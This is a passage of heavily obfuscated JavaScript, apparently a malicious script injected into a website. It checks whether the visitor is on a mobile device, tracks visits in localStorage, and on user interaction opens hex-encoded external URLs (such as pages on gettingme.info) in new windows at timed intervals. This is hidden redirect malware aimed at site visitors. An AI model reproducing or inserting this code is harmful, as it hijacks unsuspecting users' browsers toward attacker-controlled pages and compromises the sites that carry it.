u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6b\x6c\x53\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x70\x59\x44\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());